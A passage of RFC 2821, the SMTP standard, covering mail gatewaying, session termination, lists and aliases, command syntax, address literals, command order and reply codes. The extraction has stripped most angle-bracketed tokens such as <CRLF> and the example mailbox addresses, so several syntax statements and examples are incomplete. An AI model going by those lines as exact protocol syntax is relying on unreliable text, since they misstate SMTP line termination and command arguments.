detect looping in the mail system (see + section 6.2). + +3.8 Mail Gatewaying + + While the relay function discussed above operates within the Internet + SMTP transport service environment, MX records or various forms of + explicit routing may require that an intermediate SMTP server perform + a translation function between one transport service and another. As + discussed in section 2.3.8, when such a system is at the boundary + between two transport service environments, we refer to it as a + "gateway" or "gateway SMTP". + + Gatewaying mail between different mail environments, such as + different mail formats and protocols, is complex and does not easily + yield to standardization. However, some general requirements may be + given for a gateway between the Internet and another mail + environment. + + + + + + +Klensin Standards Track [Page 25] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +3.8.1 Header Fields in Gatewaying + + Header fields MAY be rewritten when necessary as messages are + gatewayed across mail environment boundaries. This may involve + inspecting the message body or interpreting the local-part of the + destination address in spite of the prohibitions in section 2.4.1. + + Other mail systems gatewayed to the Internet often use a subset of + RFC 822 headers or provide similar functionality with a different + syntax, but some of these mail systems do not have an equivalent to + the SMTP envelope. Therefore, when a message leaves the Internet + environment, it may be necessary to fold the SMTP envelope + information into the message header. A possible solution would be to + create new header fields to carry the envelope information (e.g., + "X-SMTP-MAIL:" and "X-SMTP-RCPT:"); however, this would require + changes in mail programs in foreign environments and might risk + disclosure of private information (see section 7.2). + +3.8.2 Received Lines in Gatewaying + + When forwarding a message into or out of the Internet environment, a + gateway MUST prepend a Received: line, but it MUST NOT alter in any + way a Received: line that is already in the header. + + "Received:" fields of messages originating from other environments + may not conform exactly to this specification. However, the most + important use of Received: lines is for debugging mail faults, and + this debugging can be severely hampered by well-meaning gateways that + try to "fix" a Received: line. As another consequence of trace + fields arising in non-SMTP environments, receiving systems MUST NOT + reject mail based on the format of a trace field and SHOULD be + extremely robust in the light of unexpected information or formats in + those fields. + + The gateway SHOULD indicate the environment and protocol in the "via" + clauses of Received field(s) that it supplies. + +3.8.3 Addresses in Gatewaying + + From the Internet side, the gateway SHOULD accept all valid address + formats in SMTP commands and in RFC 822 headers, and all valid RFC + 822 messages. Addresses and headers generated by gateways MUST + conform to applicable Internet standards (including this one and RFC + 822). Gateways are, of course, subject to the same rules for + handling source routes as those described for other SMTP systems in + section 3.3. + + + + + +Klensin Standards Track [Page 26] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +3.8.4 Other Header Fields in Gatewaying + + The gateway MUST ensure that all header fields of a message that it + forwards into the Internet mail environment meet the requirements for + Internet mail. In particular, all addresses in "From:", "To:", + "Cc:", etc., fields MUST be transformed (if necessary) to satisfy RFC + 822 syntax, MUST reference only fully-qualified domain names, and + MUST be effective and useful for sending replies. The translation + algorithm used to convert mail from the Internet protocols to another + environment's protocol SHOULD ensure that error messages from the + foreign mail environment are delivered to the return path from the + SMTP envelope, not to the sender listed in the "From:" field (or + other fields) of the RFC 822 message. + +3.8.5 Envelopes in Gatewaying + + Similarly, when forwarding a message from another environment into + the Internet, the gateway SHOULD set the envelope return path in + accordance with an error message return address, if supplied by the + foreign environment. If the foreign environment has no equivalent + concept, the gateway must select and use a best approximation, with + the message originator's address as the default of last resort. + +3.9 Terminating Sessions and Connections + + An SMTP connection is terminated when the client sends a QUIT + command. The server responds with a positive reply code, after which + it closes the connection. + + An SMTP server MUST NOT intentionally close the connection except: + + - After receiving a QUIT command and responding with a 221 reply. + + - After detecting the need to shut down the SMTP service and + returning a 421 response code. This response code can be issued + after the server receives any command or, if necessary, + asynchronously from command receipt (on the assumption that the + client will receive it after the next command is issued). + + In particular, a server that closes connections in response to + commands that are not understood is in violation of this + specification. Servers are expected to be tolerant of unknown + commands, issuing a 500 reply and awaiting further instructions from + the client. + + + + + + + +Klensin Standards Track [Page 27] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + An SMTP server which is forcibly shut down via external means SHOULD + attempt to send a line containing a 421 response code to the SMTP + client before exiting. The SMTP client will normally read the 421 + response code after sending its next command. + + SMTP clients that experience a connection close, reset, or other + communications failure due to circumstances not under their control + (in violation of the intent of this specification but sometimes + unavoidable) SHOULD, to maintain the robustness of the mail system, + treat the mail transaction as if a 451 response had been received and + act accordingly. + +3.10 Mailing Lists and Aliases + + An SMTP-capable host SHOULD support both the alias and the list + models of address expansion for multiple delivery. When a message is + delivered or forwarded to each address of an expanded list form, the + return address in the envelope ("MAIL FROM:") MUST be changed to be + the address of a person or other entity who administers the list. + However, in this case, the message header [32] MUST be left + unchanged; in particular, the "From" field of the message header is + unaffected. + + An important mail facility is a mechanism for multi-destination + delivery of a single message, by transforming (or "expanding" or + "exploding") a pseudo-mailbox address into a list of destination + mailbox addresses. When a message is sent to such a pseudo-mailbox + (sometimes called an "exploder"), copies are forwarded or + redistributed to each mailbox in the expanded list. Servers SHOULD + simply utilize the addresses on the list; application of heuristics + or other matching rules to eliminate some addresses, such as that of + the originator, is strongly discouraged. We classify such a pseudo- + mailbox as an "alias" or a "list", depending upon the expansion + rules. + +3.10.1 Alias + + To expand an alias, the recipient mailer simply replaces the pseudo- + mailbox address in the envelope with each of the expanded addresses + in turn; the rest of the envelope and the message body are left + unchanged. The message is then delivered or forwarded to each + expanded address. + +3.10.2 List + + A mailing list may be said to operate by "redistribution" rather than + by "forwarding". To expand a list, the recipient mailer replaces the + pseudo-mailbox address in the envelope with all of the expanded + + + +Klensin Standards Track [Page 28] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + addresses. The return address in the envelope is changed so that all + error messages generated by the final deliveries will be returned to + a list administrator, not to the message originator, who generally + has no control over the contents of the list and will typically find + error messages annoying. + +4. The SMTP Specifications + +4.1 SMTP Commands + +4.1.1 Command Semantics and Syntax + + The SMTP commands define the mail transfer or the mail system + function requested by the user. SMTP commands are character strings + terminated by . The commands themselves are alphabetic + characters terminated by if parameters follow and + otherwise. (In the interest of improved interoperability, SMTP + receivers are encouraged to tolerate trailing white space before the + terminating .) The syntax of the local part of a mailbox must + conform to receiver site conventions and the syntax specified in + section 4.1.2. The SMTP commands are discussed below. The SMTP + replies are discussed in section 4.2. + + A mail transaction involves several data objects which are + communicated as arguments to different commands. The reverse-path is + the argument of the MAIL command, the forward-path is the argument of + the RCPT command, and the mail data is the argument of the DATA + command. These arguments or data objects must be transmitted and + held pending the confirmation communicated by the end of mail data + indication which finalizes the transaction. The model for this is + that distinct buffers are provided to hold the types of data objects, + that is, there is a reverse-path buffer, a forward-path buffer, and a + mail data buffer. Specific commands cause information to be appended + to a specific buffer, or cause one or more buffers to be cleared. + + Several commands (RSET, DATA, QUIT) are specified as not permitting + parameters. In the absence of specific extensions offered by the + server and accepted by the client, clients MUST NOT send such + parameters and servers SHOULD reject commands containing them as + having invalid syntax. + +4.1.1.1 Extended HELLO (EHLO) or HELLO (HELO) + + These commands are used to identify the SMTP client to the SMTP + server. The argument field contains the fully-qualified domain name + of the SMTP client if one is available. In situations in which the + SMTP client system does not have a meaningful domain name (e.g., when + its address is dynamically allocated and no reverse mapping record is + + + +Klensin Standards Track [Page 29] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + available), the client SHOULD send an address literal (see section + 4.1.3), optionally followed by information that will help to identify + the client system. y The SMTP server identifies itself to the SMTP + client in the connection greeting reply and in the response to this + command. + + A client SMTP SHOULD start an SMTP session by issuing the EHLO + command. If the SMTP server supports the SMTP service extensions it + will give a successful response, a failure response, or an error + response. If the SMTP server, in violation of this specification, + does not support any SMTP service extensions it will generate an + error response. Older client SMTP systems MAY, as discussed above, + use HELO (as specified in RFC 821) instead of EHLO, and servers MUST + support the HELO command and reply properly to it. In any event, a + client MUST issue HELO or EHLO before starting a mail transaction. + + These commands, and a "250 OK" reply to one of them, confirm that + both the SMTP client and the SMTP server are in the initial state, + that is, there is no transaction in progress and all state tables and + buffers are cleared. + + Syntax: + + ehlo = "EHLO" SP Domain CRLF + helo = "HELO" SP Domain CRLF + + Normally, the response to EHLO will be a multiline reply. Each line + of the response contains a keyword and, optionally, one or more + parameters. Following the normal syntax for multiline replies, these + keyworks follow the code (250) and a hyphen for all but the last + line, and the code and a space for the last line. The syntax for a + positive response, using the ABNF notation and terminal symbols of + [8], is: + + ehlo-ok-rsp = ( "250" domain [ SP ehlo-greet ] CRLF ) + / ( "250-" domain [ SP ehlo-greet ] CRLF + *( "250-" ehlo-line CRLF ) + "250" SP ehlo-line CRLF ) + + ehlo-greet = 1*(%d0-9 / %d11-12 / %d14-127) + ; string of any characters other than CR or LF + + ehlo-line = ehlo-keyword *( SP ehlo-param ) + + ehlo-keyword = (ALPHA / DIGIT) *(ALPHA / DIGIT / "-") + ; additional syntax of ehlo-params depends on + ; ehlo-keyword + + + + +Klensin Standards Track [Page 30] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + ehlo-param = 1*(%d33-127) + ; any CHAR excluding and all + ; control characters (US-ASCII 0-31 inclusive) + + Although EHLO keywords may be specified in upper, lower, or mixed + case, they MUST always be recognized and processed in a case- + insensitive manner. This is simply an extension of practices + specified in RFC 821 and section 2.4.1. + +4.1.1.2 MAIL (MAIL) + + This command is used to initiate a mail transaction in which the mail + data is delivered to an SMTP server which may, in turn, deliver it to + one or more mailboxes or pass it on to another system (possibly using + SMTP). The argument field contains a reverse-path and may contain + optional parameters. In general, the MAIL command may be sent only + when no mail transaction is in progress, see section 4.1.4. + + The reverse-path consists of the sender mailbox. Historically, that + mailbox might optionally have been preceded by a list of hosts, but + that behavior is now deprecated (see appendix C). In some types of + reporting messages for which a reply is likely to cause a mail loop + (for example, mail delivery and nondelivery notifications), the + reverse-path may be null (see section 3.7). + + This command clears the reverse-path buffer, the forward-path buffer, + and the mail data buffer; and inserts the reverse-path information + from this command into the reverse-path buffer. + + If service extensions were negotiated, the MAIL command may also + carry parameters associated with a particular service extension. + + Syntax: + + "MAIL FROM:" ("<>" / Reverse-Path) + [SP Mail-parameters] CRLF + +4.1.1.3 RECIPIENT (RCPT) + + This command is used to identify an individual recipient of the mail + data; multiple recipients are specified by multiple use of this + command. The argument field contains a forward-path and may contain + optional parameters. + + The forward-path normally consists of the required destination + mailbox. Sending systems SHOULD not generate the optional list of + hosts known as a source route. Receiving systems MUST recognize + + + + +Klensin Standards Track [Page 31] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + source route syntax but SHOULD strip off the source route + specification and utilize the domain name associated with the mailbox + as if the source route had not been provided. + + Similarly, relay hosts SHOULD strip or ignore source routes, and + names MUST NOT be copied into the reverse-path. When mail reaches + its ultimate destination (the forward-path contains only a + destination mailbox), the SMTP server inserts it into the destination + mailbox in accordance with its host mail conventions. + + For example, mail received at relay host xyz.com with envelope + commands + + MAIL FROM: + RCPT TO:<@hosta.int,@jkl.org:userc@d.bar.org> + + will normally be sent directly on to host d.bar.org with envelope + commands + + MAIL FROM: + RCPT TO: + + As provided in appendix C, xyz.com MAY also choose to relay the + message to hosta.int, using the envelope commands + + MAIL FROM: + RCPT TO:<@hosta.int,@jkl.org:userc@d.bar.org> + + or to jkl.org, using the envelope commands + + MAIL FROM: + RCPT TO:<@jkl.org:userc@d.bar.org> + + Of course, since hosts are not required to relay mail at all, xyz.com + may also reject the message entirely when the RCPT command is + received, using a 550 code (since this is a "policy reason"). + + If service extensions were negotiated, the RCPT command may also + carry parameters associated with a particular service extension + offered by the server. The client MUST NOT transmit parameters other + than those associated with a service extension offered by the server + in its EHLO response. + +Syntax: + "RCPT TO:" ("" / "" / Forward-Path) + [SP Rcpt-parameters] CRLF + + + + + +Klensin Standards Track [Page 32] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +4.1.1.4 DATA (DATA) + + The receiver normally sends a 354 response to DATA, and then treats + the lines (strings ending in sequences, as described in + section 2.3.7) following the command as mail data from the sender. + This command causes the mail data to be appended to the mail data + buffer. The mail data may contain any of the 128 ASCII character + codes, although experience has indicated that use of control + characters other than SP, HT, CR, and LF may cause problems and + SHOULD be avoided when possible. + + The mail data is terminated by a line containing only a period, that + is, the character sequence "." (see section 4.5.2). This + is the end of mail data indication. Note that the first of + this terminating sequence is also the that ends the final line + of the data (message text) or, if there was no data, ends the DATA + command itself. An extra MUST NOT be added, as that would + cause an empty line to be added to the message. The only exception + to this rule would arise if the message body were passed to the + originating SMTP-sender with a final "line" that did not end in + ; in that case, the originating SMTP system MUST either reject + the message as invalid or add in order to have the receiving + SMTP server recognize the "end of data" condition. + + The custom of accepting lines ending only in , as a concession to + non-conforming behavior on the part of some UNIX systems, has proven + to cause more interoperability problems than it solves, and SMTP + server systems MUST NOT do this, even in the name of improved + robustness. In particular, the sequence "." (bare line + feeds, without carriage returns) MUST NOT be treated as equivalent to + . as the end of mail data indication. + + Receipt of the end of mail data indication requires the server to + process the stored mail transaction information. This processing + consumes the information in the reverse-path buffer, the forward-path + buffer, and the mail data buffer, and on the completion of this + command these buffers are cleared. If the processing is successful, + the receiver MUST send an OK reply. If the processing fails the + receiver MUST send a failure reply. The SMTP model does not allow + for partial failures at this point: either the message is accepted by + the server for delivery and a positive response is returned or it is + not accepted and a failure reply is returned. In sending a positive + completion reply to the end of data indication, the receiver takes + full responsibility for the message (see section 6.1). Errors that + are diagnosed subsequently MUST be reported in a mail message, as + discussed in section 4.4. + + + + + +Klensin Standards Track [Page 33] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + When the SMTP server accepts a message either for relaying or for + final delivery, it inserts a trace record (also referred to + interchangeably as a "time stamp line" or "Received" line) at the top + of the mail data. This trace record indicates the identity of the + host that sent the message, the identity of the host that received + the message (and is inserting this time stamp), and the date and time + the message was received. Relayed messages will have multiple time + stamp lines. Details for formation of these lines, including their + syntax, is specified in section 4.4. + + Additional discussion about the operation of the DATA command appears + in section 3.3. + + Syntax: + "DATA" CRLF + +4.1.1.5 RESET (RSET) + + This command specifies that the current mail transaction will be + aborted. Any stored sender, recipients, and mail data MUST be + discarded, and all buffers and state tables cleared. The receiver + MUST send a "250 OK" reply to a RSET command with no arguments. A + reset command may be issued by the client at any time. It is + effectively equivalent to a NOOP (i.e., if has no effect) if issued + immediately after EHLO, before EHLO is issued in the session, after + an end-of-data indicator has been sent and acknowledged, or + immediately before a QUIT. An SMTP server MUST NOT close the + connection as the result of receiving a RSET; that action is reserved + for QUIT (see section 4.1.1.10). + + Since EHLO implies some additional processing and response by the + server, RSET will normally be more efficient than reissuing that + command, even though the formal semantics are the same. + + There are circumstances, contrary to the intent of this + specification, in which an SMTP server may receive an indication that + the underlying TCP connection has been closed or reset. To preserve + the robustness of the mail system, SMTP servers SHOULD be prepared + for this condition and SHOULD treat it as if a QUIT had been received + before the connection disappeared. + + Syntax: + "RSET" CRLF + + + + + + + + +Klensin Standards Track [Page 34] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +4.1.1.6 VERIFY (VRFY) + + This command asks the receiver to confirm that the argument + identifies a user or mailbox. If it is a user name, information is + returned as specified in section 3.5. + + This command has no effect on the reverse-path buffer, the forward- + path buffer, or the mail data buffer. + + Syntax: + "VRFY" SP String CRLF + +4.1.1.7 EXPAND (EXPN) + + This command asks the receiver to confirm that the argument + identifies a mailing list, and if so, to return the membership of + that list. If the command is successful, a reply is returned + containing information as described in section 3.5. This reply will + have multiple lines except in the trivial case of a one-member list. + + This command has no effect on the reverse-path buffer, the forward- + path buffer, or the mail data buffer and may be issued at any time. + + Syntax: + "EXPN" SP String CRLF + +4.1.1.8 HELP (HELP) + + This command causes the server to send helpful information to the + client. The command MAY take an argument (e.g., any command name) + and return more specific information as a response. + + This command has no effect on the reverse-path buffer, the forward- + path buffer, or the mail data buffer and may be issued at any time. + + SMTP servers SHOULD support HELP without arguments and MAY support it + with arguments. + + Syntax: + "HELP" [ SP String ] CRLF + +4.1.1.9 NOOP (NOOP) + + This command does not affect any parameters or previously entered + commands. It specifies no action other than that the receiver send + an OK reply. + + + + + +Klensin Standards Track [Page 35] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + This command has no effect on the reverse-path buffer, the forward- + path buffer, or the mail data buffer and may be issued at any time. + If a parameter string is specified, servers SHOULD ignore it. + + Syntax: + "NOOP" [ SP String ] CRLF + +4.1.1.10 QUIT (QUIT) + + This command specifies that the receiver MUST send an OK reply, and + then close the transmission channel. + + The receiver MUST NOT intentionally close the transmission channel + until it receives and replies to a QUIT command (even if there was an + error). The sender MUST NOT intentionally close the transmission + channel until it sends a QUIT command and SHOULD wait until it + receives the reply (even if there was an error response to a previous + command). If the connection is closed prematurely due to violations + of the above or system or network failure, the server MUST cancel any + pending transaction, but not undo any previously completed + transaction, and generally MUST act as if the command or transaction + in progress had received a temporary error (i.e., a 4yz response). + + The QUIT command may be issued at any time. + + Syntax: + "QUIT" CRLF + +4.1.2 Command Argument Syntax + + The syntax of the argument fields of the above commands (using the + syntax specified in [8] where applicable) is given below. Some of + the productions given below are used only in conjunction with source + routes as described in appendix C. Terminals not defined in this + document, such as ALPHA, DIGIT, SP, CR, LF, CRLF, are as defined in + the "core" syntax [8 (section 6)] or in the message format syntax + [32]. + + Reverse-path = Path + Forward-path = Path + Path = "<" [ A-d-l ":" ] Mailbox ">" + A-d-l = At-domain *( "," A-d-l ) + ; Note that this form, the so-called "source route", + ; MUST BE accepted, SHOULD NOT be generated, and SHOULD be + ; ignored. + At-domain = "@" domain + Mail-parameters = esmtp-param *(SP esmtp-param) + Rcpt-parameters = esmtp-param *(SP esmtp-param) + + + +Klensin Standards Track [Page 36] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + esmtp-param = esmtp-keyword ["=" esmtp-value] + esmtp-keyword = (ALPHA / DIGIT) *(ALPHA / DIGIT / "-") + esmtp-value = 1*(%d33-60 / %d62-127) + ; any CHAR excluding "=", SP, and control characters + Keyword = Ldh-str + Argument = Atom + Domain = (sub-domain 1*("." sub-domain)) / address-literal + sub-domain = Let-dig [Ldh-str] + + address-literal = "[" IPv4-address-literal / + IPv6-address-literal / + General-address-literal "]" + ; See section 4.1.3 + + Mailbox = Local-part "@" Domain + + Local-part = Dot-string / Quoted-string + ; MAY be case-sensitive + + Dot-string = Atom *("." Atom) + + Atom = 1*atext + + Quoted-string = DQUOTE *qcontent DQUOTE + + String = Atom / Quoted-string + + While the above definition for Local-part is relatively permissive, + for maximum interoperability, a host that expects to receive mail + SHOULD avoid defining mailboxes where the Local-part requires (or + uses) the Quoted-string form or where the Local-part is case- + sensitive. For any purposes that require generating or comparing + Local-parts (e.g., to specific mailbox names), all quoted forms MUST + be treated as equivalent and the sending system SHOULD transmit the + form that uses the minimum quoting possible. + + Systems MUST NOT define mailboxes in such a way as to require the use + in SMTP of non-ASCII characters (octets with the high order bit set + to one) or ASCII "control characters" (decimal value 0-31 and 127). + These characters MUST NOT be used in MAIL or RCPT commands or other + commands that require mailbox names. + + Note that the backslash, "\", is a quote character, which is used to + indicate that the next character is to be used literally (instead of + its normal interpretation). For example, "Joe\,Smith" indicates a + single nine character user field with the comma being the fourth + character of the field. + + + + +Klensin Standards Track [Page 37] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + To promote interoperability and consistent with long-standing + guidance about conservative use of the DNS in naming and applications + (e.g., see section 2.3.1 of the base DNS document, RFC1035 [22]), + characters outside the set of alphas, digits, and hyphen MUST NOT + appear in domain name labels for SMTP clients or servers. In + particular, the underscore character is not permitted. SMTP servers + that receive a command in which invalid character codes have been + employed, and for which there are no other reasons for rejection, + MUST reject that command with a 501 response. + +4.1.3 Address Literals + + Sometimes a host is not known to the domain name system and + communication (and, in particular, communication to report and repair + the error) is blocked. To bypass this barrier a special literal form + of the address is allowed as an alternative to a domain name. For + IPv4 addresses, this form uses four small decimal integers separated + by dots and enclosed by brackets such as [123.255.37.2], which + indicates an (IPv4) Internet Address in sequence-of-octets form. For + IPv6 and other forms of addressing that might eventually be + standardized, the form consists of a standardized "tag" that + identifies the address syntax, a colon, and the address itself, in a + format specified as part of the IPv6 standards [17]. + + Specifically: + + IPv4-address-literal = Snum 3("." Snum) + IPv6-address-literal = "IPv6:" IPv6-addr + General-address-literal = Standardized-tag ":" 1*dcontent + Standardized-tag = Ldh-str + ; MUST be specified in a standards-track RFC + ; and registered with IANA + + Snum = 1*3DIGIT ; representing a decimal integer + ; value in the range 0 through 255 + Let-dig = ALPHA / DIGIT + Ldh-str = *( ALPHA / DIGIT / "-" ) Let-dig + + IPv6-addr = IPv6-full / IPv6-comp / IPv6v4-full / IPv6v4-comp + IPv6-hex = 1*4HEXDIG + IPv6-full = IPv6-hex 7(":" IPv6-hex) + IPv6-comp = [IPv6-hex *5(":" IPv6-hex)] "::" [IPv6-hex *5(":" + IPv6-hex)] + ; The "::" represents at least 2 16-bit groups of zeros + ; No more than 6 groups in addition to the "::" may be + ; present + IPv6v4-full = IPv6-hex 5(":" IPv6-hex) ":" IPv4-address-literal + IPv6v4-comp = [IPv6-hex *3(":" IPv6-hex)] "::" + + + +Klensin Standards Track [Page 38] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + [IPv6-hex *3(":" IPv6-hex) ":"] IPv4-address-literal + ; The "::" represents at least 2 16-bit groups of zeros + ; No more than 4 groups in addition to the "::" and + ; IPv4-address-literal may be present + +4.1.4 Order of Commands + + There are restrictions on the order in which these commands may be + used. + + A session that will contain mail transactions MUST first be + initialized by the use of the EHLO command. An SMTP server SHOULD + accept commands for non-mail transactions (e.g., VRFY or EXPN) + without this initialization. + + An EHLO command MAY be issued by a client later in the session. If + it is issued after the session begins, the SMTP server MUST clear all + buffers and reset the state exactly as if a RSET command had been + issued. In other words, the sequence of RSET followed immediately by + EHLO is redundant, but not harmful other than in the performance cost + of executing unnecessary commands. + + If the EHLO command is not acceptable to the SMTP server, 501, 500, + or 502 failure replies MUST be returned as appropriate. The SMTP + server MUST stay in the same state after transmitting these replies + that it was in before the EHLO was received. + + The SMTP client MUST, if possible, ensure that the domain parameter + to the EHLO command is a valid principal host name (not a CNAME or MX + name) for its host. If this is not possible (e.g., when the client's + address is dynamically assigned and the client does not have an + obvious name), an address literal SHOULD be substituted for the + domain name and supplemental information provided that will assist in + identifying the client. + + An SMTP server MAY verify that the domain name parameter in the EHLO + command actually corresponds to the IP address of the client. + However, the server MUST NOT refuse to accept a message for this + reason if the verification fails: the information about verification + failure is for logging and tracing only. + + The NOOP, HELP, EXPN, VRFY, and RSET commands can be used at any time + during a session, or without previously initializing a session. SMTP + servers SHOULD process these normally (that is, not return a 503 + code) even if no EHLO command has yet been received; clients SHOULD + open a session with EHLO before sending these commands. + + + + + +Klensin Standards Track [Page 39] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + If these rules are followed, the example in RFC 821 that shows "550 + access denied to you" in response to an EXPN command is incorrect + unless an EHLO command precedes the EXPN or the denial of access is + based on the client's IP address or other authentication or + authorization-determining mechanisms. + + The MAIL command (or the obsolete SEND, SOML, or SAML commands) + begins a mail transaction. Once started, a mail transaction consists + of a transaction beginning command, one or more RCPT commands, and a + DATA command, in that order. A mail transaction may be aborted by + the RSET (or a new EHLO) command. There may be zero or more + transactions in a session. MAIL (or SEND, SOML, or SAML) MUST NOT be + sent if a mail transaction is already open, i.e., it should be sent + only if no mail transaction had been started in the session, or it + the previous one successfully concluded with a successful DATA + command, or if the previous one was aborted with a RSET. + + If the transaction beginning command argument is not acceptable, a + 501 failure reply MUST be returned and the SMTP server MUST stay in + the same state. If the commands in a transaction are out of order to + the degree that they cannot be processed by the server, a 503 failure + reply MUST be returned and the SMTP server MUST stay in the same + state. + + The last command in a session MUST be the QUIT command. The QUIT + command cannot be used at any other time in a session, but SHOULD be + used by the client SMTP to request connection closure, even when no + session opening command was sent and accepted. + +4.1.5 Private-use Commands + + As specified in section 2.2.2, commands starting in "X" may be used + by bilateral agreement between the client (sending) and server + (receiving) SMTP agents. An SMTP server that does not recognize such + a command is expected to reply with "500 Command not recognized". An + extended SMTP server MAY list the feature names associated with these + private commands in the response to the EHLO command. + + Commands sent or accepted by SMTP systems that do not start with "X" + MUST conform to the requirements of section 2.2.2. + +4.2 SMTP Replies + + Replies to SMTP commands serve to ensure the synchronization of + requests and actions in the process of mail transfer and to guarantee + that the SMTP client always knows the state of the SMTP server. + Every command MUST generate exactly one reply. + + + + +Klensin Standards Track [Page 40] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + The details of the command-reply sequence are described in section + 4.3. + + An SMTP reply consists of a three digit number (transmitted as three + numeric characters) followed by some text unless specified otherwise + in this document. The number is for use by automata to determine + what state to enter next; the text is for the human user. The three + digits contain enough encoded information that the SMTP client need + not examine the text and may either discard it or pass it on to the + user, as appropriate. Exceptions are as noted elsewhere in this + document. In particular, the 220, 221, 251, 421, and 551 reply codes + are associated with message text that must be parsed and interpreted + by machines. In the general case, the text may be receiver dependent + and context dependent, so there are likely to be varying texts for + each reply code. A discussion of the theory of reply codes is given + in section 4.2.1. Formally, a reply is defined to be the sequence: a + three-digit code, , one line of text, and , or a multiline + reply (as defined in section 4.2.1). Since, in violation of this + specification, the text is sometimes not sent, clients which do not + receive it SHOULD be prepared to process the code alone (with or + without a trailing space character). Only the EHLO, EXPN, and HELP + commands are expected to result in multiline replies in normal + circumstances, however, multiline replies are allowed for any + command. + + In ABNF, server responses are: + + Greeting = "220 " Domain [ SP text ] CRLF + Reply-line = Reply-code [ SP text ] CRLF + + where "Greeting" appears only in the 220 response that announces that + the server is opening its part of the connection. + + An SMTP server SHOULD send only the reply codes listed in this + document. An SMTP server SHOULD use the text shown in the examples + whenever appropriate. + + An SMTP client MUST determine its actions only by the reply code, not + by the text (except for the "change of address" 251 and 551 and, if + necessary, 220, 221, and 421 replies); in the general case, any text, + including no text at all (although senders SHOULD NOT send bare + codes), MUST be acceptable. The space (blank) following the reply + code is considered part of the text. Whenever possible, a receiver- + SMTP SHOULD test the first digit (severity indication) of the reply + code. + + + + + + +Klensin Standards Track [Page 41] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + The list of codes that appears below MUST NOT be construed as + permanent. While the addition of new codes should be a rare and + significant activity, with supplemental information in the textual + part of the response being preferred, new codes may be added as the + result of new Standards or Standards-track specifications. + Consequently, a sender-SMTP MUST be prepared to handle codes not + specified in this document and MUST do so by interpreting the first + digit only. + +4.2.1 Reply Code Severities and Theory + + The three digits of the reply each have a special significance. The + first digit denotes whether the response is good, bad or incomplete. + An unsophisticated SMTP client, or one that receives an unexpected + code, will be able to determine its next action (proceed as planned, + redo, retrench, etc.) by examining this first digit. An SMTP client + that wants to know approximately what kind of error occurred (e.g., + mail system error, command syntax error) may examine the second + digit. The third digit and any supplemental information that may be + present is reserved for the finest gradation of information. + + There are five values for the first digit of the reply code: + + 1yz Positive Preliminary reply + The command has been accepted, but the requested action is being + held in abeyance, pending confirmation of the information in this + reply. The SMTP client should send another command specifying + whether to continue or abort the action. Note: unextended SMTP + does not have any commands that allow this type of reply, and so + does not have continue or abort commands. + + 2yz Positive Completion reply + The requested action has been successfully completed. A new + request may be initiated. + + 3yz Positive Intermediate reply + The command has been accepted, but the requested action is being + held in abeyance, pending receipt of further information. The + SMTP client should send another command specifying this + information. This reply is used in command sequence groups (i.e., + in DATA). + + 4yz Transient Negative Completion reply + The command was not accepted, and the requested action did not + occur. However, the error condition is temporary and the action + may be requested again. The sender should return to the beginning + of the command sequence (if any). It is difficult to assign a + meaning to "transient" when two different sites (receiver- and + + + +Klensin Standards Track [Page 42] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + sender-SMTP agents) must agree on the interpretation. Each reply + in this category might have a different time value, but the SMTP + client is encouraged to try again. A rule of thumb to determine + whether a reply fits into the 4yz or the 5yz category (see below) + is that replies are 4yz if they can be successful if repeated + without any change in command form or in properties of the sender + or receiver (that is, the command is repeated identically and the + receiver does not put up a new implementation.) + + 5yz Permanent Negative Completion reply + The command was not accepted and the requested action did not + occur. The SMTP client is discouraged from repeating the exact + request (in the same sequence). Even some "permanent" error + conditions can be corrected, so the human user may want to direct + the SMTP client to reinitiate the command sequence by direct + action at some point in the future (e.g., after the spelling has + been changed, or the user has altered the account status). + + The second digit encodes responses in specific categories: + + x0z Syntax: These replies refer to syntax errors, syntactically + correct commands that do not fit any functional category, and + unimplemented or superfluous commands. + + x1z Information: These are replies to requests for information, + such as status or help. + + x2z Connections: These are replies referring to the transmission + channel. + + x3z Unspecified. + + x4z Unspecified. + + x5z Mail system: These replies indicate the status of the receiver + mail system vis-a-vis the requested transfer or other mail system + action. + + The third digit gives a finer gradation of meaning in each category + specified by the second digit. The list of replies illustrates this. + Each reply text is recommended rather than mandatory, and may even + change according to the command with which it is associated. On the + other hand, the reply codes must strictly follow the specifications + in this section. Receiver implementations should not invent new + codes for slightly different situations from the ones described here, + but rather adapt codes already defined. + + + + + +Klensin Standards Track [Page 43] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + For example, a command such as NOOP, whose successful execution does + not offer the SMTP client any new information, will return a 250 + reply. The reply is 502 when the command requests an unimplemented + non-site-specific action. A refinement of that is the 504 reply for + a command that is implemented, but that requests an unimplemented + parameter. + + The reply text may be longer than a single line; in these cases the + complete text must be marked so the SMTP client knows when it can + stop reading the reply. This requires a special format to indicate a + multiple line reply. + + The format for multiline replies requires that every line, except the + last, begin with the reply code, followed immediately by a hyphen, + "-" (also known as minus), followed by text. The last line will + begin with the reply code, followed immediately by , optionally + some text, and . As noted above, servers SHOULD send the + if subsequent text is not sent, but clients MUST be prepared for it + to be omitted. + + For example: + + 123-First line + 123-Second line + 123-234 text beginning with numbers + 123 The last line + + In many cases the SMTP client then simply needs to search for a line + beginning with the reply code followed by or and ignore + all preceding lines. In a few cases, there is important data for the + client in the reply "text". The client will be able to identify + these cases from the current context. + +4.2.2 Reply Codes by Function Groups + + 500 Syntax error, command unrecognized + (This may include errors such as command line too long) + 501 Syntax error in parameters or arguments + 502 Command not implemented (see section 4.2.4) + 503 Bad sequence of commands + 504 Command parameter not implemented + + 211 System status, or system help reply + 214 Help message + (Information on how to use the receiver or the meaning of a 